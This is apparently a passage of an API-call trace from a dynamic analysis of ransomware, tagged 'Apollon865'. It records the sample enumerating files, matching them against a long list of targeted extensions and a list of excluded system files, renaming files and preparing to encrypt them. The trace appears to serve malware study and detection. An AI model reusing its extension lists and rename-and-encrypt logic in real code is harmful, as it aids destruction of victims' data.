	[0080.745] lstrlenW (lpString="nsf") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.746] lstrlenW (lpString="nv") returned 2
	[0080.746] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.746] lstrlenW (lpString="nv2") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.746] lstrlenW (lpString="nwdb") returned 4
	[0080.746] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.746] lstrlenW (lpString="nyf") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.746] lstrlenW (lpString="odb") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.746] lstrlenW (lpString="odb") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.746] lstrlenW (lpString="oqy") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.746] lstrlenW (lpString="ora") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.746] lstrlenW (lpString="orx") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.746] lstrlenW (lpString="owc") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.746] lstrlenW (lpString="p96") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.746] lstrlenW (lpString="p97") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.746] lstrlenW (lpString="pan") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.746] lstrlenW (lpString="pdb") returned 3
	[0080.746] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.747] lstrlenW (lpString="pdm") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.747] lstrlenW (lpString="pnz") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.747] lstrlenW (lpString="qry") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.747] lstrlenW (lpString="qvd") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.747] lstrlenW (lpString="rbf") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.747] lstrlenW (lpString="rctd") returned 4
	[0080.747] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.747] lstrlenW (lpString="rod") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.747] lstrlenW (lpString="rodx") returned 4
	[0080.747] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.747] lstrlenW (lpString="rpd") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.747] lstrlenW (lpString="rsd") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.747] lstrlenW (lpString="sas7bdat") returned 8
	[0080.747] lstrcmpiW (lpString1="tory.ico", lpString2="sas7bdat") returned 1
	[0080.747] lstrlenW (lpString="sbf") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.747] lstrlenW (lpString="scx") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.747] lstrlenW (lpString="sdb") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.747] lstrlenW (lpString="sdc") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.747] lstrlenW (lpString="sdf") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.747] lstrlenW (lpString="sis") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.747] lstrlenW (lpString="spq") returned 3
	[0080.747] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.748] lstrlenW (lpString="te") returned 2
	[0080.748] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.748] lstrlenW (lpString="teacher") returned 7
	[0080.748] lstrcmpiW (lpString1="ory.ico", lpString2="teacher") returned -1
	[0080.748] lstrlenW (lpString="tmd") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.748] lstrlenW (lpString="tps") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.748] lstrlenW (lpString="trc") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.748] lstrlenW (lpString="trc") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.748] lstrlenW (lpString="trm") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.748] lstrlenW (lpString="udb") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.748] lstrlenW (lpString="udl") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.748] lstrlenW (lpString="usr") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.748] lstrlenW (lpString="v12") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.748] lstrlenW (lpString="vis") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.748] lstrlenW (lpString="vpd") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.748] lstrlenW (lpString="vvv") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.748] lstrlenW (lpString="wdb") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.748] lstrlenW (lpString="wmdb") returned 4
	[0080.748] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.748] lstrlenW (lpString="wrk") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.748] lstrlenW (lpString="xdb") returned 3
	[0080.748] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.748] lstrlenW (lpString="xld") returned 3
	[0080.749] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.749] lstrlenW (lpString="xmlff") returned 5
	[0080.749] lstrcmpiW (lpString1="y.ico", lpString2="xmlff") returned 1
	[0080.749] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.Apollon865") returned 69
	[0080.749] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.750] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.750] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=25214) returned 1
	[0080.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.751] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.752] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.752] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.752] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x15c
	[0080.753] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000
	[0080.755] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.756] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.756] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.757] CloseHandle (hObject=0x15c) returned 1
	[0080.757] CloseHandle (hObject=0x9c) returned 1
	[0080.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.757] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb21870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.757] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.757] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="..") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="windows") returned -1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="bootmgr") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="temp") returned -1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="pagefile.sys") returned -1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="boot") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="ids.txt") returned 1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="ntuser.dat") returned -1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="perflogs") returned -1
	[0080.757] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="MSBuild") returned 1
	[0080.757] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0080.757] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 58
	[0080.758] lstrcpyW (in: lpString1=0x119e650, lpString2="MySharePoints.ico" | out: lpString1="MySharePoints.ico") returned="MySharePoints.ico"
	[0080.758] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0080.758] lstrlenW (lpString="Apollon865") returned 10
	[0080.758] lstrcmpiW (lpString1="Points.ico", lpString2="Apollon865") returned 1
	[0080.758] lstrlenW (lpString=".dll") returned 4
	[0080.758] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".dll") returned 1
	[0080.758] lstrlenW (lpString=".lnk") returned 4
	[0080.758] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".lnk") returned 1
	[0080.758] lstrlenW (lpString=".ini") returned 4
	[0080.758] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".ini") returned 1
	[0080.758] lstrlenW (lpString=".sys") returned 4
	[0080.758] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".sys") returned 1
	[0080.758] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0080.758] lstrlenW (lpString="bak") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.758] lstrlenW (lpString="ba_") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.758] lstrlenW (lpString="dbb") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.758] lstrlenW (lpString="vmdk") returned 4
	[0080.758] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.758] lstrlenW (lpString="rar") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.758] lstrlenW (lpString="zip") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.758] lstrlenW (lpString="tgz") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.758] lstrlenW (lpString="vbox") returned 4
	[0080.758] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.758] lstrlenW (lpString="vdi") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.758] lstrlenW (lpString="vhd") returned 3
	[0080.758] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.758] lstrlenW (lpString="vhdx") returned 4
	[0080.758] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.758] lstrlenW (lpString="avhd") returned 4
	[0080.759] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.759] lstrlenW (lpString="db") returned 2
	[0080.759] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.759] lstrlenW (lpString="db2") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.759] lstrlenW (lpString="db3") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.759] lstrlenW (lpString="dbf") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.759] lstrlenW (lpString="mdf") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.759] lstrlenW (lpString="mdb") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.759] lstrlenW (lpString="sql") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.759] lstrlenW (lpString="sqlite") returned 6
	[0080.759] lstrcmpiW (lpString1="ts.ico", lpString2="sqlite") returned 1
	[0080.759] lstrlenW (lpString="sqlite3") returned 7
	[0080.759] lstrcmpiW (lpString1="nts.ico", lpString2="sqlite3") returned -1
	[0080.759] lstrlenW (lpString="sqlitedb") returned 8
	[0080.759] lstrcmpiW (lpString1="ints.ico", lpString2="sqlitedb") returned -1
	[0080.759] lstrlenW (lpString="xml") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.759] lstrlenW (lpString="$er") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.759] lstrlenW (lpString="4dd") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.759] lstrlenW (lpString="4dl") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.759] lstrlenW (lpString="^^^") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.759] lstrlenW (lpString="abs") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.759] lstrlenW (lpString="abx") returned 3
	[0080.759] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.759] lstrlenW (lpString="accdb") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accdb") returned 1
	[0080.760] lstrlenW (lpString="accdc") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accdc") returned 1
	[0080.760] lstrlenW (lpString="accde") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accde") returned 1
	[0080.760] lstrlenW (lpString="accdr") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accdr") returned 1
	[0080.760] lstrlenW (lpString="accdt") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accdt") returned 1
	[0080.760] lstrlenW (lpString="accdw") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accdw") returned 1
	[0080.760] lstrlenW (lpString="accft") returned 5
	[0080.760] lstrcmpiW (lpString1="s.ico", lpString2="accft") returned 1
	[0080.760] lstrlenW (lpString="adb") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.760] lstrlenW (lpString="adb") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.760] lstrlenW (lpString="ade") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.760] lstrlenW (lpString="adf") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.760] lstrlenW (lpString="adn") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.760] lstrlenW (lpString="adp") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.760] lstrlenW (lpString="alf") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.760] lstrlenW (lpString="ask") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.760] lstrlenW (lpString="btr") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.760] lstrlenW (lpString="cat") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.760] lstrlenW (lpString="cdb") returned 3
	[0080.760] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.760] lstrlenW (lpString="ckp") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.761] lstrlenW (lpString="cma") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.761] lstrlenW (lpString="cpd") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.761] lstrlenW (lpString="dacpac") returned 6
	[0080.761] lstrcmpiW (lpString1="ts.ico", lpString2="dacpac") returned 1
	[0080.761] lstrlenW (lpString="dad") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.761] lstrlenW (lpString="dadiagrams") returned 10
	[0080.761] lstrcmpiW (lpString1="Points.ico", lpString2="dadiagrams") returned 1
	[0080.761] lstrlenW (lpString="daschema") returned 8
	[0080.761] lstrcmpiW (lpString1="ints.ico", lpString2="daschema") returned 1
	[0080.761] lstrlenW (lpString="db-journal") returned 10
	[0080.761] lstrcmpiW (lpString1="Points.ico", lpString2="db-journal") returned 1
	[0080.761] lstrlenW (lpString="db-shm") returned 6
	[0080.761] lstrcmpiW (lpString1="ts.ico", lpString2="db-shm") returned 1
	[0080.761] lstrlenW (lpString="db-wal") returned 6
	[0080.761] lstrcmpiW (lpString1="ts.ico", lpString2="db-wal") returned 1
	[0080.761] lstrlenW (lpString="dbc") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.761] lstrlenW (lpString="dbs") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.761] lstrlenW (lpString="dbt") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.761] lstrlenW (lpString="dbv") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.761] lstrlenW (lpString="dbx") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.761] lstrlenW (lpString="dcb") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.761] lstrlenW (lpString="dct") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.761] lstrlenW (lpString="dcx") returned 3
	[0080.761] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.762] lstrlenW (lpString="ddl") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.762] lstrlenW (lpString="dlis") returned 4
	[0080.762] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.762] lstrlenW (lpString="dp1") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.762] lstrlenW (lpString="dqy") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.762] lstrlenW (lpString="dsk") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.762] lstrlenW (lpString="dsn") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.762] lstrlenW (lpString="dtsx") returned 4
	[0080.762] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.762] lstrlenW (lpString="dxl") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.762] lstrlenW (lpString="eco") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.762] lstrlenW (lpString="ecx") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.762] lstrlenW (lpString="edb") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.762] lstrlenW (lpString="epim") returned 4
	[0080.762] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.762] lstrlenW (lpString="fcd") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.762] lstrlenW (lpString="fdb") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.762] lstrlenW (lpString="fic") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.762] lstrlenW (lpString="flexolibrary") returned 12
	[0080.762] lstrcmpiW (lpString1="rePoints.ico", lpString2="flexolibrary") returned 1
	[0080.762] lstrlenW (lpString="fm5") returned 3
	[0080.762] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.762] lstrlenW (lpString="fmp") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.763] lstrlenW (lpString="fmp12") returned 5
	[0080.763] lstrcmpiW (lpString1="s.ico", lpString2="fmp12") returned 1
	[0080.763] lstrlenW (lpString="fmpsl") returned 5
	[0080.763] lstrcmpiW (lpString1="s.ico", lpString2="fmpsl") returned 1
	[0080.763] lstrlenW (lpString="fol") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.763] lstrlenW (lpString="fp3") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.763] lstrlenW (lpString="fp4") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.763] lstrlenW (lpString="fp5") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.763] lstrlenW (lpString="fp7") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.763] lstrlenW (lpString="fpt") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.763] lstrlenW (lpString="frm") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.763] lstrlenW (lpString="gdb") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.763] lstrlenW (lpString="gdb") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.763] lstrlenW (lpString="grdb") returned 4
	[0080.763] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.763] lstrlenW (lpString="gwi") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.763] lstrlenW (lpString="hdb") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.763] lstrlenW (lpString="his") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.763] lstrlenW (lpString="ib") returned 2
	[0080.763] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.763] lstrlenW (lpString="idb") returned 3
	[0080.763] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.764] lstrlenW (lpString="ihx") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.764] lstrlenW (lpString="itdb") returned 4
	[0080.764] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.764] lstrlenW (lpString="itw") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.764] lstrlenW (lpString="jet") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.764] lstrlenW (lpString="jtx") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.764] lstrlenW (lpString="kdb") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.764] lstrlenW (lpString="kexi") returned 4
	[0080.764] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.764] lstrlenW (lpString="kexic") returned 5
	[0080.764] lstrcmpiW (lpString1="s.ico", lpString2="kexic") returned 1
	[0080.764] lstrlenW (lpString="kexis") returned 5
	[0080.764] lstrcmpiW (lpString1="s.ico", lpString2="kexis") returned 1
	[0080.764] lstrlenW (lpString="lgc") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.764] lstrlenW (lpString="lwx") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.764] lstrlenW (lpString="maf") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.764] lstrlenW (lpString="maq") returned 3
